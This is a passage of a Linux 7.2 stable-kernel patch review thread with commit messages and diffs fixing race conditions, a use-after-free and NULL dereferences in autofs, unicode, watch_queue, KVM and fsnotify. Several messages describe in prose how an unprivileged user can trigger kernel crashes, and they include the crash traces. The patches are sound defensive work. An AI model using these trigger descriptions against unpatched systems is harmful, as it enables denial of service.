@@ -593,7 +593,7 @@ void sof_client_fw_state_dispatcher(stru
{
struct sof_state_event_entry *event;
- guard(mutex)(&sdev->ipc_client_mutex);
+ guard(mutex)(&sdev->client_event_handler_mutex);
list_for_each_entry(event, &sdev->fw_state_handler_list, list)
event->callback(event->cdev, sdev->fw_state);
@@ -628,7 +628,7 @@ void sof_client_unregister_fw_state_hand
struct snd_sof_dev *sdev = sof_client_dev_to_sof_dev(cdev);
struct sof_state_event_entry *event;
- guard(mutex)(&sdev->ipc_client_mutex);
+ guard(mutex)(&sdev->client_event_handler_mutex);
list_for_each_entry(event, &sdev->fw_state_handler_list, list) {
if (event->cdev == cdev) {
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 105/242] autofs: ignore notification errors from a replaced pipe
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (102 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 104/242] ASoC: SOF: sof-client: Use event-handler mutex consistently Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 106/242] bootconfig: give the footer size static_assert a message Greg Kroah-Hartman
` (137 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Sung Byeongchan, Ian Kent,
Christian Brauner (Amutable)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Sung Byeongchan <tjdqudcks0424@naver.com>
commit 65676cd4203c0e41a94caf54080a7f0a95434bda upstream.
autofs_notify_daemon() takes a reference to the current notification
pipe under wq_mutex, then drops the mutex before writing the request. The
write can block while the daemon enters catatonic mode and installs a
replacement pipe.
If the old pipe's reader is then closed, the delayed write returns -EPIPE
and the generic error path enters catatonic mode again. That transition
acts on the current superblock state, closes the replacement pipe, and
releases the new daemon generation's wait queues.
Only enter catatonic mode when the pipe which failed is still the current
pipe. Factor the already-locked transition so the identity check and state
change are atomic with respect to another replacement.
This was reproduced on v7.3-rc5-337-gff47652a4b66c in a local QEMU guest.
An unprivileged UID 65534 lookup filled the old packet pipe before a
normal CATATONIC/SETPIPEFD restart. On the unmodified kernel, the new pipe
received HUP and both a pending victim lookup and a later lookup failed
with ENOENT in two out of two fresh-mount runs.
With this change, the new pipe remained active, received an intact
304-byte request, and both victim lookups completed in two out of two
runs. Normal lookup and restart-without-a-blocked-writer controls passed.
No KASAN, oops, refcount, or lock diagnostic was observed. A source
reproducer and complete local logs are available privately on request.
The demonstrated impact is limited to denial of a shared autofs service
during a legitimate daemon restart. No memory corruption, information leak,
privilege escalation, or code execution primitive was observed.
Fixes: 8d7b48e0bc5fa ("autofs4: add miscellaneous device for ioctls")
Cc: stable@vger.kernel.org
Signed-off-by: Sung Byeongchan <tjdqudcks0424@naver.com>
Link: https://patch.msgid.link/20261007173542.593624-1-tjdqudcks0424@naver.com
Acked-by: Ian Kent <raven@themaw.net>
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/autofs/waitq.c | 25 +++++++++++++++++++------
1 file changed, 19 insertions(+), 6 deletions(-)
--- a/fs/autofs/waitq.c
+++ b/fs/autofs/waitq.c
@@ -12,15 +12,13 @@
*/
static autofs_wqt_t autofs_next_wait_queue = 1;
-void autofs_catatonic_mode(struct autofs_sb_info *sbi)
+static void autofs_catatonic_mode_locked(struct autofs_sb_info *sbi)
{
struct autofs_wait_queue *wq, *nwq;
- mutex_lock(&sbi->wq_mutex);
- if (sbi->flags & AUTOFS_SBI_CATATONIC) {
- mutex_unlock(&sbi->wq_mutex);
+ lockdep_assert_held(&sbi->wq_mutex);
+ if (sbi->flags & AUTOFS_SBI_CATATONIC)
return;
- }
pr_debug("entering catatonic mode\n");
@@ -40,6 +38,21 @@ void autofs_catatonic_mode(struct autofs
fput(sbi->pipe); /* Close the pipe */
sbi->pipe = NULL;
sbi->pipefd = -1;
+}
+
+void autofs_catatonic_mode(struct autofs_sb_info *sbi)
+{
+ mutex_lock(&sbi->wq_mutex);
+ autofs_catatonic_mode_locked(sbi);
+ mutex_unlock(&sbi->wq_mutex);
+}
+
+static void autofs_catatonic_mode_for_pipe(struct autofs_sb_info *sbi,
+ struct file *pipe)
+{
+ mutex_lock(&sbi->wq_mutex);
+ if (sbi->pipe == pipe)
+ autofs_catatonic_mode_locked(sbi);
mutex_unlock(&sbi->wq_mutex);
}
@@ -170,7 +183,7 @@ static void autofs_notify_daemon(struct
autofs_wait_release(sbi, wq->wait_queue_token, ret);
break;
default:
- autofs_catatonic_mode(sbi);
+ autofs_catatonic_mode_for_pipe(sbi, pipe);
break;
}
fput(pipe);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 106/242] bootconfig: give the footer size static_assert a message
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (103 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 105/242] autofs: ignore notification errors from a replaced pipe Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 107/242] unicode: free the map after a grace period Greg Kroah-Hartman
` (136 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Sasha Levin,
Masami Hiramatsu (Google)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Sasha Levin <sashal@kernel.org>
commit a1ddc2721467fb68241372db77657fd0dcf6cda5 upstream.
static_assert() without a message is a C23 feature, so clang warns:
main.c:498:56: warning: '_Static_assert' with no message is a C23 extension [-Wc23-extensions]
Add a message.
Link: http://lkml.kernel.org/r/20261011223358.2327625-13-sashal@kernel.org
Fixes: 6ed5e20466c79 ("bootconfig: Fix unaligned access when building footer")
Cc: stable@vger.kernel.org
Assisted-by: LLM
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Masami Hiramatsu (Google) <mhiramat@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
tools/bootconfig/main.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
--- a/tools/bootconfig/main.c
+++ b/tools/bootconfig/main.c
@@ -495,7 +495,8 @@ static int apply_xbc(const char *path, c
footer.size = htole32(size);
footer.csum = htole32(csum);
memcpy(footer.magic, BOOTCONFIG_MAGIC, BOOTCONFIG_MAGIC_LEN);
- static_assert(sizeof(footer) == BOOTCONFIG_FOOTER_SIZE);
+ static_assert(sizeof(footer) == BOOTCONFIG_FOOTER_SIZE,
+ "bootconfig footer size mismatch");
memcpy(data + size, &footer, BOOTCONFIG_FOOTER_SIZE);
total_size = size + BOOTCONFIG_FOOTER_SIZE;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 107/242] unicode: free the map after a grace period
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (104 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 106/242] bootconfig: give the footer size static_assert a message Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 108/242] watch_queue: Fix note pool publication race in watch_queue_set_size() Greg Kroah-Hartman
` (135 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
commit a96c5299bd7305eb984377681eb3222a57376405 upstream.
generic_ci_d_hash() and generic_ci_d_compare() read sb->s_encoding and
dereference the unicode map while a pathwalk in rcu mode holds nothing
but rcu_read_lock(). The filesystems that use them, ext4, f2fs and
tmpfs, drop the map with utf8_unload() from ->put_super(), which runs
when the last reference to the mount goes away. A lookup that is still
inside such a filesystem at that point reads a freed map.
With a pathwalk held up in utf8_casefold_hash() while the last reference
to a casefolded tmpfs goes away:
BUG: KASAN: slab-use-after-free in utf8nlookup+0x74c/0x950
Read of size 8 at addr ff110001030fe658 by task walker/98
Call Trace:
<TASK>
utf8nlookup+0x74c/0x950
utf8byte+0x160/0x1560
utf8_casefold_hash+0x167/0x230
generic_ci_d_hash+0xdd/0x1c0
link_path_walk+0x11ad/0x1d30
path_lookupat+0x63/0xb00
filename_lookup+0x1f1/0x5b0
vfs_statx+0xd7/0x3b0
[...]
Allocated by task 94:
__kmalloc_cache_noprof+0x249/0x560
utf8_load+0x4e/0x570
shmem_parse_opt_casefold.isra.0+0x92/0x270
[...]
Freed by task 97:
kfree+0x1db/0x5b0
shmem_put_super+0x72/0x170
generic_shutdown_super+0x14c/0x530
kill_anon_super+0x3a/0x60
deactivate_locked_super+0x9c/0xf0
cleanup_mnt+0x9f/0x130
So far that has been hard to hit. umount(2) waits for a grace period
in namespace_unlock() before it drops the mount, so only a mount whose
last reference goes away elsewhere, like the close of a file or a chdir
out of a lazily unmounted directory, can race a walker. So it is
reachable.
Delay the free until a grace period has passed. The map and the data
table it holds a reference to then outlive any pathwalk that found the
superblock before the mount went away. The reference on the data table
module is dropped from the rcu callback as well. utf8-core is built in
whenever CONFIG_UNICODE is set, so there is no module exit that would
have to wait for the callbacks.
Overlayfs points the s_encoding of an overlay at the map of its first
layer without taking a reference of its own. That stays correct. The
layer is held by the overlay, so its map is dropped only after the
overlay is gone.
Fixes: b886ee3e778e ("ext4: Support case-insensitive file name lookups")
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-6-7446d2d335e6@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/unicode/utf8-core.c | 21 +++++++++++++++++----
include/linux/unicode.h | 1 +
2 files changed, 18 insertions(+), 4 deletions(-)
--- a/fs/unicode/utf8-core.c
+++ b/fs/unicode/utf8-core.c
@@ -3,6 +3,7 @@
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/slab.h>
+#include <linux/rcupdate.h>
#include <linux/parser.h>
#include <linux/errno.h>
#include <linux/stringhash.h>
@@ -205,12 +206,24 @@ out_free_um:
}
EXPORT_SYMBOL(utf8_load);
+static void utf8_unload_rcu(struct rcu_head *head)
+{
+ struct unicode_map *um = container_of(head, struct unicode_map, rcu);
+
+ symbol_put(utf8_data_table);
+ kfree(um);
+}
+
+/*
+ * A pathwalk in rcu mode may still be in ->d_hash() or ->d_compare() of a
+ * filesystem that is being torn down and read the map through its
+ * superblock, so the map and the tables it points to have to outlive the
+ * grace period.
+ */
void utf8_unload(struct unicode_map *um)
{
- if (um) {
- symbol_put(utf8_data_table);
- kfree(um);
- }
+ if (um)
+ call_rcu(&um->rcu, utf8_unload_rcu);
}
EXPORT_SYMBOL(utf8_unload);
--- a/include/linux/unicode.h
+++ b/include/linux/unicode.h
@@ -53,6 +53,7 @@ struct unicode_map {
unsigned int version;
const struct utf8data *ntab[UTF8_NMAX];
const struct utf8data_table *tables;
+ struct rcu_head rcu;
};
int utf8_validate(const struct unicode_map *um, const struct qstr *str);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 108/242] watch_queue: Fix note pool publication race in watch_queue_set_size()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (105 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 107/242] unicode: free the map after a grace period Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 109/242] x86/kvm: Dont consume async #PF flags on a kernel #PF in NMI context Greg Kroah-Hartman
` (134 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Dae R. Jeong, AutonomousCodeSecurity,
Cen Zhang (Microsoft), Bradley Morgan,
Christian Brauner (Amutable)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Cen Zhang (Microsoft) <cenzhang@linux.microsoft.com>
commit 5e531d62f1f8834faf7a4eed0d41105cf6570a8f upstream.
There is a race between watch_queue_set_size() and post_one_notification().
watch_queue_set_size() publishes wqueue->notes, notes_bitmap, nr_pages and
nr_notes with plain stores, and post_one_notification() reads them with
plain loads under a different lock, so nothing orders the four stores
against the poster's loads: depending on the build, notes can be stored
last (gcc 14 on x86-64 does this). Since keyctl_watch_key() lets a watch
attach to a queue before it is sized, post_one_notification() can already
be running on another CPU at that moment: it reads nr_notes > 0, passes
its bounds check, and then reads notes while it is still NULL,
dereferencing notes[0].
An unprivileged user triggers this reliably by watching one of its own
keys through a notification pipe and racing ioctl(IOC_WATCH_QUEUE_SET_SIZE)
on that pipe against keyctl(KEYCTL_SETPERM) on the key from another CPU,
triggering:
BUG: kernel NULL pointer dereference, address: 0000000000000000
RIP: 0010:post_one_notification.isra.0+0xa2/0x1e0
Call Trace:
__post_watch_notification+0x148/0x180
keyctl_setperm_key+0x119/0x130
do_syscall_64+0x108/0x4c0
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Kernel panic - not syncing: Fatal exception in interrupt
Fix this by publishing nr_notes last with smp_store_release(), and by
reading it once with smp_load_acquire() in post_one_notification() before
the bitmap and the page array are touched. A poster that observes a
non-zero nr_notes then also observes the pool behind it; one that observes
zero drops the notification as before.
Fixes: c73be61cede5 ("pipe: Add general notification queue support")
Reported-by: Dae R. Jeong <threeearcat@gmail.com>
Closes: https://lore.kernel.org/all/ZT-S8Q7tyutcvu_q@dragonet/
Reported-by: AutonomousCodeSecurity@microsoft.com
Suggested-by: Dae R. Jeong <threeearcat@gmail.com>
Signed-off-by: Cen Zhang (Microsoft) <cenzhang@linux.microsoft.com>
Link: https://patch.msgid.link/20261009224715.46121-1-cenzhang@linux.microsoft.com
Reviewed-by: Bradley Morgan <brads@mainlining.org>
Cc: <stable@vger.kernel.org>
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/watch_queue.c | 11 +++++++----
1 file changed, 7 insertions(+), 4 deletions(-)
--- a/kernel/watch_queue.c
+++ b/kernel/watch_queue.c
@@ -101,7 +101,7 @@ static bool post_one_notification(struct
struct pipe_inode_info *pipe = wqueue->pipe;
struct pipe_buffer *buf;
struct page *page;
- unsigned int head, tail, note, offset, len;
+ unsigned int head, tail, note, offset, len, nr_notes;
bool done = false;
spin_lock_irq(&pipe->rd_wait.lock);
@@ -111,8 +111,10 @@ static bool post_one_notification(struct
if (pipe_full(head, tail, pipe->ring_size))
goto lost;
- note = find_first_bit(wqueue->notes_bitmap, wqueue->nr_notes);
- if (note >= wqueue->nr_notes)
+ /* Pairs with the smp_store_release() in watch_queue_set_size(). */
+ nr_notes = smp_load_acquire(&wqueue->nr_notes);
+ note = find_first_bit(wqueue->notes_bitmap, nr_notes);
+ if (note >= nr_notes)
goto lost;
page = wqueue->notes[note / WATCH_QUEUE_NOTES_PER_PAGE];
@@ -297,7 +299,8 @@ long watch_queue_set_size(struct pipe_in
wqueue->notes = pages;
wqueue->notes_bitmap = bitmap;
wqueue->nr_pages = nr_pages;
- wqueue->nr_notes = nr_notes;
+ /* Pairs with the smp_load_acquire() in post_one_notification(). */
+ smp_store_release(&wqueue->nr_notes, nr_notes);
return 0;
error_p:
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 109/242] x86/kvm: Dont consume async #PF flags on a kernel #PF in NMI context
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (106 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 108/242] watch_queue: Fix note pool publication race in watch_queue_set_size() Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 110/242] KVM: SEV: Fix page dirtying in sev_gmem_post_populate() Greg Kroah-Hartman
` (133 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, EJ Campbell, Paolo Bonzini
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: EJ Campbell <ejc3@meta.com>
commit 81d99abe2bd81379abfb595e403bbbee6fbfc624 upstream.
An async #PF "page not present" event arrives through the #PF vector,
and its reason sits in the per-CPU apf_reason.flags until
__kvm_handle_async_pf() reads and clears it. If an NMI arrives after
the event is injected and before the #PF handler reads the flags, and
the NMI handler itself takes a #PF, that fault reads and clears the
flags belonging to the #PF it interrupted. It then finds interrupts
disabled in the NMI context it interrupted, and panics:
Kernel panic - not syncing: Host injected async #PF in interrupt
disabled region
Call Trace:
<NMI>
panic+0x52/0x60
__kvm_handle_async_pf+0xb0/0xb0
exc_page_fault+0x71/0xb0
asm_exc_page_fault+0x27/0x30
RIP: 0010:__get_user_nocheck_8+0x6/0x20
perf_callchain_user+0x147/0x1a0
get_perf_callchain+0x12d/0x1c0
...
perf_event_nmi_handler+0x26/0x50
exc_nmi+0xe8/0x110
RIP: 0010:asm_exc_page_fault+0x0/0x30
</NMI>
The last RIP line shows the NMI landing on the first instruction of
the #PF entry. perf with user call chains takes such a fault: the
sampling NMI walks the user stack with __get_user(), which faults when
a saved frame pointer is not a valid user address or the walk runs off
the top of the stack. The same window exists when KVM, running as an
L1 hypervisor with DELIVERY_AS_PF_VMEXIT, reads the flags itself after
a #PF VM-exit.
The NMI entry code saves and restores CR2 for this nesting, but not the
async #PF reason. Andy Lutomirski described the race, with perf as the
example, when async #PF delivery was reworked in 2020 [1]. Saving and
clearing the flags across the NMI, next to CR2, was discussed there but
not merged.
Since that rework, Linux has stopped setting KVM_ASYNC_PF_SEND_ALWAYS,
so the host delivers "page not present" only for user mode faults and
a kernel-mode fault in NMI context (including kernel-mode #MC and #DB)
cannot be an async page fault. In that case, return without touching
the flags so that the interrupted handler finds them intact.
Tested on v7.3-rc5 in a 4-vCPU, 2 GiB guest restored from a snapshot
whose memory is served on demand through userfaultfd, so that reading
it back takes async #PFs, while every thread samples hardware cycles
with user call chains and points its frame pointer at an unmapped page.
Without this patch the guest panicked as above in 3 of 3 runs. With it,
the guest survived 3 of 3 runs of 60 seconds, and the host counted
148,441 to 153,334 kvm_async_pf_not_present events in the first 20
seconds of each. On 6.18.50 the results were the same: the guest
panicked without the patch and survived with it.
Link: https://lore.kernel.org/all/ed71d0967113a35f670a9625a058b8e6e0b2f104.1583547991.git.luto@kernel.org/ [1]
Link: https://lore.kernel.org/all/20211126123145.2772-1-jiangshanlai@gmail.com/ [2]
Cc: stable@vger.kernel.org # v5.9+
Signed-off-by: EJ Campbell <ejc3@meta.com>
Link: https://patch.msgid.link/CADkxfh-uQTca_6jB1JPDq1MsKffF_UKGQR339oQSJNcoV75GNQ@mail.gmail.com
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
arch/x86/kernel/kvm.c | 32 +++++++++++++++++++++++++++++---
1 file changed, 29 insertions(+), 3 deletions(-)
--- a/arch/x86/kernel/kvm.c
+++ b/arch/x86/kernel/kvm.c
@@ -265,11 +265,39 @@ noinstr u32 kvm_read_and_reset_apf_flags
}
EXPORT_SYMBOL_FOR_KVM(kvm_read_and_reset_apf_flags);
+static __always_inline bool kvm_apf_reason_pending(void)
+{
+ return __this_cpu_read(async_pf_enabled) &&
+ __this_cpu_read(apf_reason.flags);
+}
+
noinstr bool __kvm_handle_async_pf(struct pt_regs *regs, u32 token)
{
- u32 flags = kvm_read_and_reset_apf_flags();
irqentry_state_t state;
+ u32 flags;
+
+ if (!kvm_apf_reason_pending())
+ return false;
+
+ /*
+ * The guest does not enable KVM_ASYNC_PF_SEND_ALWAYS, so the host
+ * delivers async #PF only to user mode (or as a #PF VM-exit, which KVM
+ * reads itself). A #PF from kernel mode can still arrive between that
+ * delivery and the read of the reason flags, inside an NMI that
+ * interrupted it, for instance perf reading user memory for a call
+ * chain. Such a fault is not async, so leave the async PF flags
+ * untouched for the outer handler. Outside NMI context, on the other
+ * hand, async PF flags on a kernel-mode fault mean the host is broken.
+ */
+ if (!user_mode(regs)) {
+ if (likely(in_nmi()))
+ return false;
+ state = irqentry_enter(regs);
+ instrumentation_begin();
+ panic("Host injected async #PF in kernel mode\n");
+ }
+ flags = kvm_read_and_reset_apf_flags();
if (!flags)
return false;
@@ -285,8 +313,6 @@ noinstr bool __kvm_handle_async_pf(struc
panic("Host injected async #PF in interrupt disabled region\n");
if (flags & KVM_PV_REASON_PAGE_NOT_PRESENT) {
- if (unlikely(!(user_mode(regs))))
- panic("Host injected async #PF in kernel mode\n");
/* Page is swapped out by the host. */
kvm_async_pf_task_wait_schedule(token);
} else {
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 110/242] KVM: SEV: Fix page dirtying in sev_gmem_post_populate()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (107 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 109/242] x86/kvm: Dont consume async #PF flags on a kernel #PF in NMI context Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 111/242] KVM: nVMX: Reset MMU back to the root MMU if loading L2 state fails for !VM-Entry Greg Kroah-Hartman
` (132 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Jann Horn, Sean Christopherson
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jann Horn <jannh@google.com>
commit 97818b2fa7082e940ddd36dab12a68615300e798 upstream.
set_page_dirty() requires that the caller holds some kind of lock to
ensure that the page's mapping does not concurrently go away.
That is not the case for a random page we got from get_user_pages_fast(),
so use set_page_dirty_lock().
Fixes: 97cd21d57e9b ("KVM: SEV: Mark source page dirty when writing back CPUID data on failure")
Cc: stable@vger.kernel.org
Signed-off-by: Jann Horn <jannh@google.com>
Link: https://patch.msgid.link/20260810-x86-kvm-setpagedirty-v1-1-85f180892d4f@google.com
[sean: tag for stable]
Signed-off-by: Sean Christopherson <seanjc@google.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
arch/x86/kvm/svm/sev.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/arch/x86/kvm/svm/sev.c
+++ b/arch/x86/kvm/svm/sev.c
@@ -2431,7 +2431,7 @@ static int sev_gmem_post_populate(struct
void *dst_vaddr = kmap_local_pfn(pfn);
memcpy(src_vaddr, dst_vaddr, PAGE_SIZE);
- set_page_dirty(src_page);
+ set_page_dirty_lock(src_page);
kunmap_local(dst_vaddr);
kunmap_local(src_vaddr);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 111/242] KVM: nVMX: Reset MMU back to the root MMU if loading L2 state fails for !VM-Entry
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (108 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 110/242] KVM: SEV: Fix page dirtying in sev_gmem_post_populate() Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 112/242] fsnotify: prevent mark additions during connector teardown Greg Kroah-Hartman
` (131 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, David Woodhouse,
Amirmohammad Eftekhar, Sean Christopherson, Paolo Bonzini
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Amirmohammad Eftekhar <amirmohammadeftekhar@gmail.com>
commit c8f4cfe1cf93bce924e27f2abead7a4c4a487505 upstream.
Reset the vCPU's MMU pointer back to the root MMU if loading L2 state fails
in the "not from VM-Entry" case, i.e. when emulating RSM or handling
KVM_SET_NESTED_STATE. Failure to unwind the MMU pointer results in KVM
trying to run L1 with a nested MMU, and is especially problematic if the
vCPU manages to free its nested state before the VM crashes. Constructing
the root for a nested EPT MMU goes through vmcs12, which is dynamically
allocated/freed when nVMX is enabled/disabled. And so if the nested state
is freed with the MMU still pointing at the nested MMU, KVM will hit a NULL
pointer deref when attempting to get L1=>L2 EPTP.
BUG: kernel NULL pointer dereference, address: 0000000000000078
#PF: supervisor read access in kernel mode
#PF: error_code(0x0000) - not-present page
PGD 114a2d067 P4D 111743067 PUD 11141f067 PMD 0
Oops: Oops: 0000 [#1] SMP
CPU: 20 UID: 1000 PID: 1272 Comm: nested_tdp_faul Not tainted 7.3.0-rc4-8c89f11d1a99b-sink-vm #1914 PREEMPTLAZY
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 0.0.0 02/06/2015
RIP: 0010:nested_ept_get_eptp+0xb/0x10 [kvm_intel]
Call Trace:
<TASK>
kvm_mmu_load+0xcd/0x870 [kvm]
kvm_arch_vcpu_ioctl_run+0x18f5/0x1f80 [kvm]
kvm_vcpu_ioctl+0x2c7/0x970 [kvm]
__x64_sys_ioctl+0x90/0xd0
do_syscall_64+0x9c/0x4d0
entry_SYSCALL_64_after_hwframe+0x4b/0x53
RIP: 0033:0x47491b
</TASK>
Modules linked in: kvm_intel kvm irqbypass
CR2: 0000000000000078
---[ end trace 0000000000000000 ]---
RIP: 0010:nested_ept_get_eptp+0xb/0x10 [kvm_intel]
Cc: David Woodhouse <dwmw2@infradead.org>
Fixes: 72e9cbdb4338 ("KVM: nVMX: fix SMI injection in guest mode")
Fixes: 8fcc4b5923af ("kvm: nVMX: Introduce KVM_CAP_NESTED_STATE")
Cc: stable@vger.kernel.org
Signed-off-by: Amirmohammad Eftekhar <amirmohammadeftekhar@gmail.com>
[sean: write changelog]
Signed-off-by: Sean Christopherson <seanjc@google.com>
Link: https://patch.msgid.link/20261001214356.3825100-2-seanjc@google.com
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
arch/x86/kvm/vmx/nested.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
--- a/arch/x86/kvm/vmx/nested.c
+++ b/arch/x86/kvm/vmx/nested.c
@@ -3774,8 +3774,10 @@ vmentry_fail_vmexit_guest_mode:
vmentry_fail_vmexit:
vmx_switch_vmcs(vcpu, &vmx->vmcs01);
- if (!from_vmentry)
+ if (!from_vmentry) {
+ nested_ept_uninit_mmu_context(vcpu);
return NVMX_VMENTRY_VMEXIT;
+ }
nested_put_vmcs12_pages(vcpu);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 112/242] fsnotify: prevent mark additions during connector teardown
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (109 preceding siblings ...)
2026-10-23 16:39 ` [PATCH 7.2 111/242] KVM: nVMX: Reset MMU back to the root MMU if loading L2 state fails for !VM-Entry Greg Kroah-Hartman
@ 2026-10-23 16:39 ` Greg Kroah-Hartman
2026-10-23 16:39 ` [PATCH 7.2 113/242] pid_namespace: make zap_pid_ns_processes() freezable Greg Kroah-Hartman
` (130 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:39 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Kyle Zeng,
Christian Brauner (Amutable)
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Kyle Zeng <kylebot@openai.com>
commit 36ebddca56b9d8993d6dc984fdecc748ee1f5e06 upstream.
fsnotify_destroy_marks() keeps a reference to its current mark while it
drops conn->lock to destroy the mark. This stabilizes the forward-walk
cursor, but does not prevent a new mark from being inserted before it.
For example, an inotify watch re-added after IN_IGNORED sorts before the
old, detached mark for the same group. The walk can miss the replacement
and then detach the entire connector from the object.
The replacement is still on its group's marks_list and, for inotify, in
the watch IDR. The group mutex no longer protects the connector's object
from disappearing. An unprivileged fdinfo read racing the final detach
can consequently call igrab(NULL):
BUG: KASAN: null-ptr-deref in igrab+0x24/0x100
Write of size 4 at addr 0000000000000148
Call Trace:
igrab+0x24/0x100
inotify_show_fdinfo+0x1dc/0x5e0
seq_show+0x397/0x690
Set a DESTROYING flag under conn->lock before starting the walk, and
reject new marks on that connector with -ENOENT. The existing add-mark
error paths undo the temporary group-list entry and the backend's watch
allocation. Do not wait for teardown while holding the group mutex,
which the destroyer needs. Once the old connector is detached, an add
can install a fresh connector as before.
This closes the insertion race for all object types using the common
connector teardown, without changing the mark reference or SRCU lifetime
rules.
Fixes: 6b3f05d24d35 ("fsnotify: Detach mark from object list when last reference is dropped")
Cc: stable@vger.kernel.org
Signed-off-by: Kyle Zeng <kylebot@openai.com>
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/notify/mark.c | 11 +++++++++++
include/linux/fsnotify_backend.h | 1 +
2 files changed, 12 insertions(+)
--- a/fs/notify/mark.c
+++ b/fs/notify/mark.c
